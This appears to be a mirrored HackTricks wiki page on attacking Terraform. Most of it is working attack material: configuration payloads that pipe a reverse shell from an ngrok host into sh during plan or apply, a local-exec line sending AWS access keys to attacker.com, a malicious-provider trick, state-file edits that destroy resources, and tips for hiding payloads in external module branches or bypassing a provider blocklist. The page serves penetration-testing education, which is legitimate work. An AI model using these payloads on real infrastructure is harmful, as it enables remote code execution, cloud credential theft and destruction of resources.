mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-23 15:37:53 -08:00
246 lines
12 KiB
Markdown
246 lines
12 KiB
Markdown
# Terraform Security
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
### Basic Information
|
|
|
|
[From the docs:](https://developer.hashicorp.com/terraform/intro)
|
|
|
|
HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
|
|
|
|
#### How does Terraform work?
|
|
|
|
Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
|
|
|
|
.png>)
|
|
|
|
HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
|
|
|
|
The core Terraform workflow consists of three stages:
|
|
|
|
* **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
|
|
* **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
|
|
* **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
|
|
|
|
.png>)
|
|
|
|
### Terraform Lab
|
|
|
|
Just install terraform in your computer.
|
|
|
|
Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
|
|
|
|
### RCE in Terraform
|
|
|
|
Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files**.
|
|
|
|
However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
|
|
|
|
The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
|
|
|
|
Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
|
|
|
|
{% content-ref url="atlantis-security.md" %}
|
|
[atlantis-security.md](atlantis-security.md)
|
|
{% endcontent-ref %}
|
|
|
|
If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
|
|
|
|
#### Terraform plan
|
|
|
|
Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
|
|
|
|
**Using an external provider**
|
|
|
|
Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
|
|
|
|
Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
|
|
|
|
```javascript
|
|
data "external" "example" {
|
|
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
|
}
|
|
```
|
|
|
|
**Using a custom provider**
|
|
|
|
An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
|
|
|
```javascript
|
|
terraform {
|
|
required_providers {
|
|
evil = {
|
|
source = "evil/evil"
|
|
version = "1.0"
|
|
}
|
|
}
|
|
}
|
|
|
|
provider "evil" {}
|
|
```
|
|
|
|
The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
|
|
|
|
You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
|
|
|
**Using an external reference**
|
|
|
|
Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
|
|
|
|
* Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
|
|
|
|
```javascript
|
|
module "not_rev_shell" {
|
|
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
|
}
|
|
```
|
|
|
|
You can find the rev shell code in [https://github.com/carlospolop/terraform\_external\_module\_rev\_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
|
|
|
* In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
|
|
|
#### Terraform Apply
|
|
|
|
Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
|
You just need to make sure some payload like the following ones ends in the `main.tf` file:
|
|
|
|
```json
|
|
// Payload 1 to just steal a secret
|
|
resource "null_resource" "secret_stealer" {
|
|
provisioner "local-exec" {
|
|
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
|
}
|
|
}
|
|
|
|
// Payload 2 to get a rev shell
|
|
resource "null_resource" "rev_shell" {
|
|
provisioner "local-exec" {
|
|
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
|
}
|
|
}
|
|
```
|
|
|
|
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
|
|
|
|
### Secrets Dumps
|
|
|
|
You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
|
|
|
|
```json
|
|
output "dotoken" {
|
|
value = nonsensitive(var.do_token)
|
|
}
|
|
```
|
|
|
|
### Abusing Terraform State Files
|
|
|
|
In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file:
|
|
|
|
#### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>
|
|
|
|
There are 2 ways to destroy resources:
|
|
|
|
1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
|
|
|
|
Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
|
|
|
|
```json
|
|
{
|
|
"mode": "managed",
|
|
"type": "aws_instance",
|
|
"name": "example",
|
|
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
|
|
"instances": [
|
|
{
|
|
"attributes": {
|
|
"id": "i-1234567890abcdefg"
|
|
}
|
|
}
|
|
]
|
|
},
|
|
```
|
|
|
|
2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
|
|
|
|
For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
|
|
|
|
#### RCE
|
|
|
|
It's also possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add an empty resource with the malicious provider. Example from the original research:
|
|
|
|
```json
|
|
"resources": [
|
|
{
|
|
"mode": "managed",
|
|
"type": "scaffolding_example",
|
|
"name": "example",
|
|
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
|
|
"instances": [
|
|
|
|
]
|
|
},
|
|
```
|
|
|
|
### Replace blacklisted provider
|
|
|
|
In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
|
|
|
|
```terraform
|
|
terraform {
|
|
required_providers {
|
|
external = {
|
|
source = "nazarewk/external"
|
|
version = "3.0.0"
|
|
}
|
|
}
|
|
}
|
|
```
|
|
|
|
Then you can use `external` as per normal.
|
|
|
|
```terraform
|
|
data "external" "example" {
|
|
program = ["sh", "-c", "whoami"]
|
|
}
|
|
```
|
|
|
|
### Audit Tools
|
|
|
|
* [**tfsec**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
|
|
* [**terascan**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code.
|
|
|
|
### References
|
|
|
|
* [Atlantis Security](atlantis-security.md)
|
|
* [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
|
|
* [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
|
|
* [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|